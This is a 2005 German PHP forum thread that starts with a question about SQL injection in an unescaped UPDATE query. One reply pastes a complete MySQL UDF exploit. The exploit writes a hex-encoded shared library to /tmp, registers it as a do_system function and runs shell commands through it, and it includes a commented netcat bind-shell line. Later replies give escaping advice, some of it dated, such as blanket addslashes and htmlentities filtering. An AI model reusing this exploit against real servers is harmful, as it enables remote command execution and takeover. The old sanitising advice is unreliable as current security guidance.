 |
08.11.2005, 18:09
| Nach oben
#1 | | Benutzer
Registriert seit: 07.11.2005
Beiträge: 31
| Wie anfälig ist dieser MySQL Code ?
Hallo,
ich habe mal folgende Frage: Wie weit ist dieser Code gefährlich für die Datenbank?
Der Code: PHP-Code: <?PHP
$db->updaten("UPDATE `".$db_tab['datenbank']."` SET `foo` = '".$_GET['bar']."' WHERE ( `moep` = 'muh' ) LIMIT 1 ");
?> Das würde mich mal Interessieren, wie ich da jetzt rangehen muss, um zu testen, ob es möglich ist, halt die ganze datenbank zu löschen (etc).
|
| |
08.11.2005, 18:15
| Nach oben
#2 | | Goldman.de
Registriert seit: 09.10.2005 Ort: Frankfurt am Main
Beiträge: 190
|
probier dochmal aus PHP-Code: // this is the MySql root password. $pass='useyoupasswordhere';
function mysql_create_db($db,$link) { $query="CREATE database $db;"; return mysql_query($query, $link) ;
} // the library in little endian hex. (from NGS's Hackproofing_MySql http://www.nextgenss.com/papers/HackproofingMySQL.pdf )
$solib="0x7f454c460101010000000000000000000300030001000000200600003400000034 0a00000000000034002000040028001600150001000000000000000000000000000000940700 0094070000050000000010000001000000940700009417000094170000040100000801000006 00000000100000020000009c0700009c1700009c170000c8000000c800000006000000040000 0051e57464000000000000000000000000000000000000000006000000040000002500000028 0000000000000026000000000000000000000000000000000000000000000022000000270000 0000000000000000000000000000000000000000000000000000000000000000000000000023 0000001e00000000000000000000000000000000000000000000002000000000000000000000 0000000000000000002100000025000000000000000000000000000000240000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000 0000000 00000000000000000000000000001c000000000000001f000000000000001d00000000000000 0000000000000000000000000000000000000000b4000000000000000300010000000000f001 0000000000000300020000000000700400000000000003000300000000001005000000000000 0300040000000000600500000000000003000500000000009005000000000000030006000000 0000c0050000000000000300070000000000d0050000000000000300080000000000e8050000 000000000300090000000000200600000000000003000a000000000074070000000000000300 0b0000000000900700000000000003000c0000000000941700000000000003000d0000000000 9c1700000000000003000e0000000000641800000000000003000f00000000006c1800000000 0000030010000000000074180000000000000300110000000000781800000000000003001200 0000000098180000000000000300130000000000000000000000000003001400000000000000 0000000000000300150000000000000000000000000003001600000000000000000000000000 0300170000000000000000000000000003001800000000000000000000000000030019000000 0000000000000000000003001a0000000000000000000000000003001b00010000009c170000 00 0000001 100f1ff610000000000000076000000120000002f000000d0050000000000001200080079000 00098180000000000001000f1ff35000000740700000000000012000b003b000000000000009 7000000220000005e000000080700003600000012000a007200000098180000000000001000f 1ff0a00000078180000000000001100f1ff850000009c180000000000001000f1ff4a0000000 0000000000000002000000020000000000000000000000020000000005f44594e414d4943005 f474c4f42414c5f4f46465345545f5441424c455f005f5f676d6f6e5f73746172745f5f005f6 96e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f52656769737465724 36c617373657300646f5f73797374656d006c6962632e736f2e36005f6564617461005f5f627 3735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e300000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000010002000100010001000300010001000100010000000 00001000200680000001000000000000000731f6909000003008a000000100000001069690d0 00002009600000000000000941700000800000098170000080000002b070000021d00008c180 00 0062100 0090180000062600009418000006270000841800000721000088180000072600005589e583ec 08e845000000e8e0000000e85b010000c9c300ffb304000000ffa30800000000000000ffa30c 0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000000000000055 89e553e8000000005b81c34f120000528b831c00000085c07402ffd0585bc9c3909090909090 9090909090909090905589e553e8000000005b81c31f1200005180bb200000000075348b9314 00000085d2752f8b8320ffffff8b1085d2741783c004898320ffffffffd28b8320ffffff8b10 85d275e9c68320000000018b5dfcc9c383ec0c8b831cffffff50e846ffffff83c410ebbd89f6 8dbc27000000005589e553e8000000005b81c3af110000508b83fcffffff85c0740a8b831800 000085c0750b8b5dfcc9c38db60000000083ec0c8d83fcffffff50e809ffffff83c4108b5dfc c9c3905589e583ec088b450c8338017409c745fc00000000eb1a83ec0c8b450c8b4008ff30e8 fcffffff83c410c745fc000000008b45fcc9c390905589e55653e8000000005b81c32e110000 8d83f0ffffff8d70fc8b40fc83f8ff740c83ee04ffd08b0683f8ff75f45b5e5dc390905589e5 53e8000000005b81c3fb10000050e8c6feffff595bc9c3000000000000941700007018000001 00 0000680 000000c000000d00500000d0000007407000004000000b400000005000000700400000600000 0f00100000a000000a00000000b0000001000000003000000781800000200000010000000140 000001100000017000000c005000011000000900500001200000030000000130000000800000 01600000000000000feffff6f60050000ffffff6f01000000f0ffff6f10050000faffff6f020 0000000000000000000000000000000000000000000000000000000000000000000000000000 000000000ffffffff00000000ffffffff00000000000000009c1700000000000000000000fe0 500000e060000000000000000000000000000004743433a2028474e552920332e332e3120284 d616e6472616b65204c696e757820392e3220332e332e312d316d646b2900004743433a20284 74e552920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d326 d646b2900004743433a2028474e552920332e332e3120284d616e6472616b65204c696e75782 0392e3220332e332e312d326d646b2900004743433a2028474e552920332e332e3120284d616 e6472616b65204c696e757820392e3220332e332e312d326d646b2900004743433a2028474e5 52920332e332e3120284d616e6472616b65204c696e757820392e3220332e332e312d316d646 b2 900002e 7368737472746162002e68617368002e64796e73796d002e64796e737472002e676e752e7665 7273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74 002e696e6974002e74657874002e66696e69002e65685f6672616d65002e64617461002e6479 6e616d6963002e63746f7273002e64746f7273002e6a6372002e676f74002e627373002e636f 6d6d656e74000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000b0000000500000002000000b4000000b40000003c01000002000000 000000000400000004000000110000000b00000002000000f0010000f0010000800200000300 00001c00000004000000100000001900000003000000020000007004000070040000a0000000 0000000000000000010000000000000021000000ffffff6f0200000010050000100500005000 0000020000000000000002000000020000002e000000feffff6f020000006005000060050000 30000000030000000100000004000000000000003d0000000900000002000000900500009005 00003000000002000000000000000400000008000000460000000900000002000000c0050000 c005000010000000020000000900000004000000080000004f0000000100000006000000d005 00 00d0050 00017000000000000000000000004000000000000004a0000000100000006000000e8050000e 8050000300000000000000000000000040000000400000055000000010000000600000020060 0002006000054010000000000000000000010000000000000005b00000001000000060000007 4070000740700001a00000000000000000000000400000000000000610000000100000002000 000900700009007000004000000000000000000000004000000000000006b000000010000000 3000000941700009407000008000000000000000000000004000000000000007100000006000 000030000009c1700009c070000c8000000030000000000000004000000080000007a0000000 1000000030000006418000064080000080000000000000000000000040000000000000081000 00001000000030000006c1800006c08000008000000000000000000000004000000000000008 8000000010000000300000074180000740800000400000000000000000000000400000000000 0008d00000001000000030000007818000078080000200000000000000000000000040000000 4000000920000000800000003000000981800009808000004000000000000000000000004000 000000000009700000001000000000000000000000098080000fa00000000000000000000000 10 0000000 0000000100000003000000000000000000000092090000a00000000000000000000000010000 0000000000";
$link=mysql_connect("127.0.0.1","root",$pass); if (!$link) { die('Could not connect: ' . mysql_error()); } echo "Connected successfully as root\n"; echo "creating db for lib\n"; mysql_create_db('my_db',$link) or print ('cannot create my_db db, sorry!'); echo "done....\n"; echo "selecting db for lib\n"; mysql_select_db('my_db') or print ('cannot use my_db db, sorry!'); echo "done....\n";
echo "creating blob table for lib\n"; $query="CREATE TABLE blob_tab (blob_col BLOB);"; $result = mysql_query($query, $link) or print("cannot create blob table for lib\n"); echo "done....\n";
echo "inserting blob table for lib\n"; $query="INSERT into blob_tab values (CONVERT($solib,CHAR));"; $result = mysql_query($query, $link) or print("cannot insert blob for lib\n"); echo "done....\n";
echo "dumping lib in /tmp/libso.so.0...\n"; $query="SELECT blob_col FROM blob_tab INTO DUMPFILE '/tmp/libso.so.0';"; $result = mysql_query($query, $link) or print("cannot dump lib\n"); echo " done....\n";
mysql_select_db('mysql') or die ('cannot use mysql db, sorry!'); echo "sending lib....\n";
$query="insert into func (name,dl) values ('do_system','/tmp/libso.so.0');"; $result = mysql_query($query, $link); echo "done....\n"; echo "Creating exit function to restart server\n";
$query="create function exit returns integer soname 'libc.so.6';"; $result = mysql_query($query, $link) or print ("cannot create exit, sorry!\n"); echo "done....\n"; echo "Selecting exit function\n";
$query="select exit();"; $result = mysql_query($query, $link); echo "done!\nWaiting for server to restart\n";
sleep(1);
$link=mysql_connect("127.0.0.1","root",$pass); if (!$link) { die('Could not connect: ' . mysql_error()); } echo "Connected to MySql server again...\n";
//$cmd ='/usr/sbin/nc -l -p 8000 -e /bin/bash'; $cmd ='id >/tmp/id'; echo "Sending Command...$cmd\n"; $query="select do_system('$cmd');"; $result = mysql_query($query, $link); echo "done!\n"; echo "Now use your fav shell and ls /tmp/id -l \n"; mysql_close($link);
|
| |
08.11.2005, 19:44
| Nach oben
#3 | | Benutzer
Registriert seit: 07.11.2005
Beiträge: 31
|
Wäre auch toll wenn du mir vorher sagst, was passieren soll bzw. kann.
|
| |
08.11.2005, 21:48
| Nach oben
#5 | | Benutzer
Registriert seit: 07.11.2005
Beiträge: 31
|
Das werd ich mir mal einbauen. http://forum.developers-guide.net/showpost-p_1099-postcount_4.html
Dazu ne frage, abc steht für ne ganze Abfrage oder nur die Variabeln beim einfügen?
Geändert von Jann Hendrik (27.06.2007 um 11:08 Uhr).
Grund: dieser link ist leider nicht mehr verfügbar oder nachvollziehbar
|
| |
09.11.2005, 11:21
| Nach oben
#6 | | Jann Hendrik Bekaan
Registriert seit: 02.12.2004 Ort: Wildeshausen
Beiträge: 2.213
|
abc steht in dem Fall für dein sql-statement.
Aber ich halte die von mir dort gepostete Version nicht mehr für so geschickt....
Dazu aber mehr in der Kritik, die in den posts danach kommt...
Hier im Forum (ich finde die Stelle gerade nicht wieder) wurde folgende Funktion verlinkt: PHP-Code: function mysql_secure($value)
{
// Stripslashes
if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}
// Quote if not integer
if (!is_numeric($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
RETURN $value;
}
Ich nutze nun diese. Zu finden ist sie auf wikipedia http://de.wikipedia.org/wiki/SQL-Injection#PHP |
| |
09.11.2005, 13:25
| Nach oben
#7 | | Goldman.de
Registriert seit: 09.10.2005 Ort: Frankfurt am Main
Beiträge: 190
|
oder am anfang des scripts PHP-Code: <?php
// use htmlentities, strip_tags, and trim the following: if ($_POST) $_POST = PreClean($_POST); if ($_GET) $_GET = PreClean($_GET); if ($_COOKIE) $_COOKIE = PreClean($_COOKIE); ?> dann irgendwo: PHP-Code: <?php
set_magic_quotes_runtime(0);
// FUNCTIONS ############################################################################
// addslashes to all post data
function AddSlashesArray($data) { if (is_array($data)) { foreach ($data as $key => $val) { $return[$key] = AddSlashesArray($val); } return ($return); } return (addslashes($data)); }
// PRE CLEAN ############################################################################
function PreClean($data) { if (is_array($data)) { foreach ($data as $key => $val) { $return[$key] = PreClean($val); } return ($return); } return trim(htmlentities(strip_tags($data), ENT_QUOTES)); }
// UNHTMLENTITIES ####################################################################### // this is exactly like PHP's html_entity_decode // however html_entity_decode only works on PHP > 4.3.0 or 5
function unhtmlentities($string) { $trans_tbl = get_html_translation_table(HTML_ENTITIES); $trans_tbl = array_flip($trans_tbl); return strtr($string, $trans_tbl); }
// ADDSLASHES TO POST DATA ##############################################################
if (!get_magic_quotes_gpc()) // do addslashes if gpc is off { if ($_POST) $_POST = AddSlashesArray($_POST); if ($_GET) $_GET = AddSlashesArray($_GET); if ($_COOKIE) $_COOKIE = AddSlashesArray($_COOKIE);
} // else, addslashes has been performed automatically ?>
so nun hast du IMMER automatisch deine Superglobals gesichert und kannst Sie verwenden wie dir nach Herzen ist
mfg
|
| |
12.11.2005, 11:51
| Nach oben
#9 | | Benutzer
Registriert seit: 07.11.2005
Beiträge: 31
|
Corvin, der Link ist echt sehr hilfreich gewesen.
J33d3X, wenn man deinen Code verwendet, muss man dann beim ausgeben noch Zeichen entfernen? Da wir ja ne menge Backslash setzten. (So wie es aussieht)
|
| |
12.11.2005, 11:53
| Nach oben
#10 | | Corvin Gröning
Registriert seit: 19.03.2005 Ort: S-H | Flensburg
Beiträge: 449
| Zitat: |
Zitat von Sebastian Corvin, der Link ist echt sehr hilfreich gewesen. | Das freut micht
__________________ |
| |
12.11.2005, 17:36
| Nach oben
#11 | | Goldman.de
Registriert seit: 09.10.2005 Ort: Frankfurt am Main
Beiträge: 190
|
@Corvin
in deinem Artikel .. Zitat:
praktisch diesen:
PHP-Code:
$logged_in == true; // <----- kleiner Fehler ?
// if the user is logged in...
if($logged_in == true) {
// print secret data
echo "Your secret data";
}
| |
| |
12.11.2005, 19:05
| Nach oben
#12 | | Corvin Gröning
Registriert seit: 19.03.2005 Ort: S-H | Flensburg
Beiträge: 449
|
Ups
Danke für den Hinweis, ich habs korrigiert.
__________________ |
| |
13.11.2005, 07:53
| Nach oben
#13 | | Goldman.de
Registriert seit: 09.10.2005 Ort: Frankfurt am Main
Beiträge: 190
|
np ..
weiterhin kann ich jedem nur raten:
bei Bedingungen den zu vergleichenden Wert IMMER auf die linke Seite
des Vergleichs zu setzen so kann man sich bei Flüchtigkeitsfehler wenigstens
kein Eigentor schießen
bsp von oben
if($logged_in == true) { ...
Flüchtigkeitsfehler
if($logged_in = true) { ...
umgedreht:
if(true == $logged_in) { ...
Flüchtigkeitsfehler:
if(true = $logged_in) { ... // einer Konstanten einen Wert zuweisen wird mit einem Fatalerror belohnt
es kann also durch art der Schreibweise die Eigentorrate minimiert werden
mfg
|
| | |
Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1) | | |
Forumregeln
| Es ist dir nicht erlaubt, neue Themen zu verfassen. Es ist dir nicht erlaubt, auf Beiträge zu antworten. Es ist dir nicht erlaubt, Anhänge hochzuladen. Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten. HTML-Code ist aus. | | | Alle Zeitangaben in WEZ +2. Es ist jetzt 20:46 Uhr.
|